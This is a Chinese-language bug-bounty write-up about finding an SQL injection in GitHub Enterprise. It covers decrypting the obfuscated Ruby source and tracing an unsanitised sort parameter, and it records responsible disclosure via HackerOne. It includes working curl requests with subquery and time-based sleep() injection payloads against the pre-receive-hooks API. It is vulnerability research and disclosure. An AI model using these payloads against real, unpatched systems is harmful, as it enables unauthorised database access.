看我如何發現Github企業版程式SQL隱碼攻擊漏洞並獲得5000美刀賞金

freebuf發表於2017-01-12

GitHub企業版軟體是專供公司團體用來部署在內網進行開發服務的商業性應用程式。Github企業版採用標準OVF格式整合,以虛擬機器(VM)映象方式釋出,可以在enterprise.github.com 網站註冊下載45天試用版本,並把其部署在任何虛擬機器環境中。通過下載其試用版本軟體進行分析,我花了一週時間,發現了其中存在的SQL隱碼攻擊漏洞,並獲得了5000美元漏洞賞金。

Github企業版VM環境安裝之後的效果如下:

現在,Github搭建完成,接下來就可以在虛擬機器系統內進行深入分析。

環境安全性分析

用Nmap發現有6個開啟埠:

$ nmap -sT -vv -p 1-65535 192.168.187.145

...

PORT     STATE  SERVICE

22/tcp   open   ssh

25/tcp   closed smtp

80/tcp   open   http

122/tcp  open   smakynet

443/tcp  open   https

8080/tcp closed http-proxy

8443/tcp open   https-alt

9418/tcp open   git

這些埠用途初步分析為:

埠22/tcp和9418/tcp可能用於程式haproxy轉發後端服務babeld;

埠80/tcp和443/tcp用於Github主要服務;

埠122/tcp用於SSH服務;

埠8443/tcp用於GitHub的管理控制檯服務。

由於GitHub的管理控制檯需要密碼才能實現登入,所以你可以設定密碼並通過122埠的SSH服務連線VM環境,SSH連線進入系統之後,檢查系統資訊發現,幾乎所有的Github服務程式碼都位於目錄/data/下:

# ls -al /data/

total 92

drwxr-xr-x 23 root              root              4096 Nov 29 12:54 .

drwxr-xr-x 27 root              root              4096 Dec 28 19:18 ..

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 alambic

drwxr-xr-x  4 babeld            babeld            4096 Nov 29 12:53 babeld

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 codeload

drwxr-xr-x  2 root              root              4096 Nov 29 12:54 db

drwxr-xr-x  2 root              root              4096 Nov 29 12:52 enterprise

drwxr-xr-x  4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-manage

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 failbotd

drwxr-xr-x  3 root              root              4096 Nov 29 12:54 git-hooks

drwxr-xr-x  4 git               git               4096 Nov 29 12:53 github

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 git-import

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gitmon

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gpgverify

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 hookshot

drwxr-xr-x  4 root              root              4096 Nov 29 12:54 lariat

drwxr-xr-x  4 root              root              4096 Nov 29 12:54 longpoll

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 mail-replies

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 pages

drwxr-xr-x  4 root              root              4096 Nov 29 12:54 pages-lua

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 render

lrwxrwxrwx  1 root              root                23 Nov 29 12:52 repositories -> /data/user/repositories

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 slumlord

drwxr-xr-x 20 root              root              4096 Dec 28 19:22 user

檢視其中的檔案原始碼,貌似是base64加密的:

GitHub使用了一個自定義的庫來加密混淆自身原始碼。如果你在谷歌搜尋ruby_concealer.so,你會發現一個牛人已經對這種加密方式作了分析,只需在ruby_concealer.so中用rb_f_puts替換rb_f_eval即可實現解密。但我們還是實際動手來看看,開啟IDA Pro分析一下:

你可以發現,其源程式使用了類Zlib::Inflate::inflate進行資料解壓縮,並使用了一段明文KEY作為異或(XOR)操作,然而,讓人搞笑的是,這段明文KEY竟然是這樣的:

This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this ’encryption’ is easily broken. (我們清楚該加密很容易被破解,但其目的在於防止GitHub企業版使用者隨意對VM環境進行修改)

哎呀,讓人哭笑不得….

有了這些,我們就可以自己構造解密指令碼了:

require 'zlib'

key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. "

def decrypt(s)

    i, plaintext = 0, ''

    Zlib::Inflate.inflate(s).each_byte do |c|

        plaintext << (c ^ key[i%key.length].ord).chr

        i += 1

    end

    plaintext

end

content = File.open(ARGV[0], "r").read

content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt "

plaintext = eval content

puts plaintext

程式碼分析

實現程式原始碼解密之後,讓我們嘗試著進行程式碼審計:

$ cloc /data/

   81267 text files.

   47503 unique files.

   24550 files ignored.

http://cloc.sourceforge.net v 1.60  T=348.06 s (103.5 files/s, 15548.9 lines/s)

-----------------------------------------------------------------------------------

Language                         files          blank        comment           code

-----------------------------------------------------------------------------------

Ruby                             25854         359545         437125        1838503

Javascript                        4351         109994         105296         881416

YAML                               600           1349           3214         289039

Python                            1108          44862          64025         180400

XML                                121           6492           3223         125556

C                                  444          30903          23966         123938

Bourne Shell                       852          14490          16417          87477

HTML                               636          24760           2001          82526

C++                                184           8370           8890          79139

C/C++ Header                       428          11679          22773          72226

Java                               198           6665          14303          45187

CSS                                458           4641           3092          44813

Bourne Again Shell                 142           6196           9006          35106

m4                                  21           3259            369          29433

...
$ ./bin/rake about

About your application's environment

Ruby version              2.1.7 (x86_64-linux)

RubyGems version          2.2.5

Rack version              1.6.4

Rails version             3.2.22.4

JavaScript Runtime        Node.js (V8)

Active Record version     3.2.22.4

Action Pack version       3.2.22.4

Action Mailer version     3.2.22.4

Active Support version    3.2.22.4

Middleware                GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport

Application root          /data/github/9fcdcc8

Environment               production

Database adapter          githubmysql2

Database schema version   20161003225024

從以上分析可以看出大部分為Ruby程式碼,而且可以發現:

程式通過埠80和443遠端連線github.com、gist.github.com和api.github.com在目錄/data/github/下更新程式碼庫;

目錄/data/render/可能為render.githubusercontent.com程式碼庫;

程式通過8443埠執行目錄/data/enterprise-manage/下服務。

漏洞分析

雖然我對Ruby不太熟悉,但經過現學現用,我花了一週的時間發現了這個漏洞,以下我的分析工作日程:

第一天  設定Github虛擬機器環境

第二天  設定Github虛擬機器環境

第三天  學習Rails進行程式碼審計

第四天  學習Rails進行程式碼審計

第五天  學習Rails進行程式碼審計

第六天  哦也,找到了一個SQL隱碼攻擊漏洞

這個SQL隱碼攻擊漏洞存在於GitHub企業版程式的PreReceiveHookTarget模組中,其根本原因在於/data/github/current/app/model/pre_receive_hook_target.rb檔案的第45行:

33   scope :sorted_by, -> (order, direction = nil) {

34     direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC"

35     select(<<-SQL)

36       #{table_name}.*,

37       CASE hookable_type

38         WHEN 'global'     THEN 0

39         WHEN 'User'       THEN 1

40         WHEN 'Repository' THEN 2

41       END AS priority

42     SQL

43       .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id")

44       .readonly(false)

45       .order([order, direction].join(" "))

46   }

雖然Rails中內建的物件關係對映ActiveRecord in Rails本身不允許SQL隱碼攻擊操作,但一些ActiveRecord的誤用例項同樣會引起SQL隱碼攻擊。具體可參考學習Rails-sqli.org。在該漏洞情況中,我們可以控制order方法的引數實現惡意程式碼注入。跟蹤觀察發現,服務sorted_by被data/github/current/app/api/org_pre_receive_hooks.rb檔案的第61行呼叫:

10   get "/organizations/:organization_id/pre-receive-hooks" do

11     control_access :list_org_pre_receive_hooks, :o  rg => org = find_org!

12     @documentation_url << "#list-pre-receive-hooks"

13     targets = PreReceiveHookTarget.visible_for_hookable(org)

14     targets = sort(targets).paginate(pagination)

15     GitHub::PrefillAssociations.for_pre_receive_hook_targets targets

16     deliver :pre_receive_org_target_hash, targets

17   end

...

60   def sort(scope)

61     scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc")

62   end

可以清楚地看到params[:sort]被傳遞給了scope.sorted_by,所以我們可以嘗試著向params[:sort]注入惡意程式碼。

在觸發該漏洞之前,接入API需要admin:pre_receive_hook函式具備一個有效的access_token值,高興的是,我們可以通過以下命令來獲取:

$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \

-d '{"scopes":"admin:pre_receive_hook","note":"x"}'

{

  "id": 4,

  "url": "https://192.168.187.145/api/v3/authorizations/4",

  "app": {

    "name": "x",

    "url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",

    "client_id": "00000000000000000000"

  },

  "token": "????????",

  "hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4",

  "token_last_eight": "1fadac36",

  "note": "x",

  "note_url": null,

  "created_at": "2017-01-05T22:17:32Z",

  "updated_at": "2017-01-05T22:17:32Z",

  "scopes": [

    "admin:pre_receive_hook"

  ],

  "fingerprint": null

}

一旦獲取到有效的access_token值之後,漏洞就會被觸發:

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \

'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)'

[

]

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \

'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)'

{

  "message": "Server Error",

  "documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"

}

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \

'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user())

{

    ...

}

漏洞報送程式

2016/12/26 05:48   通過HackerOne把該漏洞報送給GitHub

2016/12/26 08:39   GitHub給出反饋,表示已通過驗證並正在修復;

2016/12/26 15:48   提供給GitHub更多漏洞細節;

2016/12/28 02:44   GitHub反饋表示,漏洞補丁將隨GitHub企業版後續更新釋出;

2017/01/04 06:41   GitHub回覆將給我5000美刀賞金;

2017/01/05 02:37   資詢GitHub,是否介意我將此漏洞公開在個人部落格;

2017/01/05 03:06   GitHub很爽快地表示,沒問題!

2017/01/05 07:06   GitHub Enterprise 2.8.5釋出!

如果你對該漏洞感興趣,可以自己部署Github企業版系統環境進行深入分析。

相關文章